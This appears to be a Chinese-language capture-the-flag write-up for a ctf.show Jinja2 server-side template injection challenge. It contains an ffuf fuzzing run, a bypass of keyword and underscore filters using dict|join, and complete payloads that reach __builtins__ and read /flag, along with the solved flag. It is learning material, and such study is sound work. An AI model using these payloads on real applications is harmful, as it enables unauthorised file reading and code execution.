

# Hello

## None

1.get传参变量name为ssti注入点，经过模糊测试过滤如下，寻常调用对象和类的方式都被过滤了

```
ffuf -u "http://11a5d5b2-d9ba-490f-86bc-df70f91a8b56.challenge.ctf.show/?name=FUZZ" -w fuzz-bit.txt -fs 3-1000 | sort -r
```

```
warnings.catch_warnings [Status: 200, Size: 2, Words: 1, Lines: 1, Duration: 147ms]
url_for [Status: 200, Size: 2, Words: 1, Lines: 1, Duration: 217ms]
' [Status: 200, Size: 2, Words: 1, Lines: 1, Duration: 207ms]
" [Status: 200, Size: 2, Words: 1, Lines: 1, Duration: 203ms]
[ [Status: 200, Size: 2, Words: 1, Lines: 1, Duration: 200ms]
{{ [Status: 200, Size: 2, Words: 1, Lines: 1, Duration: 197ms]
_ [Status: 200, Size: 2, Words: 1, Lines: 1, Duration: 194ms]
request [Status: 200, Size: 2, Words: 1, Lines: 1, Duration: 210ms]
os._wrap_close [Status: 200, Size: 2, Words: 1, Lines: 1, Duration: 220ms]
os [Status: 200, Size: 2, Words: 1, Lines: 1, Duration: 204ms]
get_flashed_messages [Status: 200, Size: 2, Words: 1, Lines: 1, Duration: 141ms]
_frozen_importlib_external.FileLoader [Status: 200, Size: 2, Words: 1, Lines: 1, Duration: 212ms]
args [Status: 200, Size: 2, Words: 1, Lines: 1, Duration: 142ms]
```

2.request也被过滤了，可以用dict和join结合绕过

```
dict特性：在创造字典时，python会自动把赋值对象看成字符串，如dict(name=1)=>{"name":1}
当join用在字典上时会把所有键值连接成一个字符串，如dict(name=a,age=b)|join=>"nameage"，而值
用不到 看成占位符
利用这一特性，我们可以dict(pop=a)|join=>"pop", dict(globals=a)|join=>"globals"，通过这
样可以构造payload大部分了
但是最关键的还有下划线呢
((|select|string|list).pop(24)即可获取
```

3.构造payload

```

{%set po=dict(po=a,p=a)|join%}{#构造pop#}
{%set a=()|select|string|list|attr(po)(24)%}{#()|select为<generator object
select_or_reject at 0x7fbdb99af220>, pop(24)正好时下划线#}
{%set ini=(a,a,dict(init=a)|join,a,a)|join%}{#构造__init__#}
{%set glo=(a,a,dict(globals=a)|join,a,a)|join%}{#构造__globals__#}
{%set buil=(a,a,dict(builtins=a)|join,a,a)|join%}{#构造__builtins__#}
{%set get=(a,a,dict(getitem=a)|join,a,a)|join%}{#构造__getitem__#}
{%set x=(q|attr(ini)|attr(glo)|attr(get))(buil)%}{#q是没有定义的变量在jinja2中为
Undefined对象，这句话构造q.__init__.__globals__.getitem("__builtins__")#}
{%set chr=x.chr%}{#提取chr函数#}
{%set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}

```

也可以写成下面这样，主要是理解

```

{%set a=()|select|string|list.pop(24)%}
{%set glo=(a,a,dict(globals=a)|join,a,a)|join%}
{%set buil=(a,a,dict(builtins=a)|join,a,a)|join%}
{%set x=(lipsum|attr(glo)).get(buil)%}
{%print(x.open(x.chr(47)%2bx.chr(102)%2bx.chr(108)%2bx.chr(97)%2bx.chr(103)).read
())%}

```

## Hello

<http://ec6b99bb-953a-4e28-8962-084bda49c739.chall.ctf.show/?name=ctfshow{825408fc-8669-4812-9f6e-ee89788592d7}>



The screenshot shows a browser window with a black header bar containing various tabs and buttons. Below the header is a navigation bar with dropdown menus for LOAD, SPLIT, EXECUTE, TEST, SQLI, XSS, LFI, SSRF, SSTI, SHELL, ENCODING, HASHING, and CL. The main content area displays the exploit code in a text input field:

```

URL
https://11a5d5b2-d9ba-490f-86bc-df70f91a8b56.challenge.ctf.show/?name=http://ec6b99bb-953a-4e28-8962-084bda49c739.
?name={%set a=()|select|string|list.pop(24)%}
{%set glo=(a,a,dict(globals=a)|join,a,a)|join%}
{%set buil=(a,a,dict(builtins=a)|join,a,a)|join%}
{%set x=(lipsum|attr(glo)).get(buil)%}
{%print(x.open(x.chr(47)%2bx.chr(102)%2bx.chr(108)%2bx.chr(97)%2bx.chr(103)).read())%}

```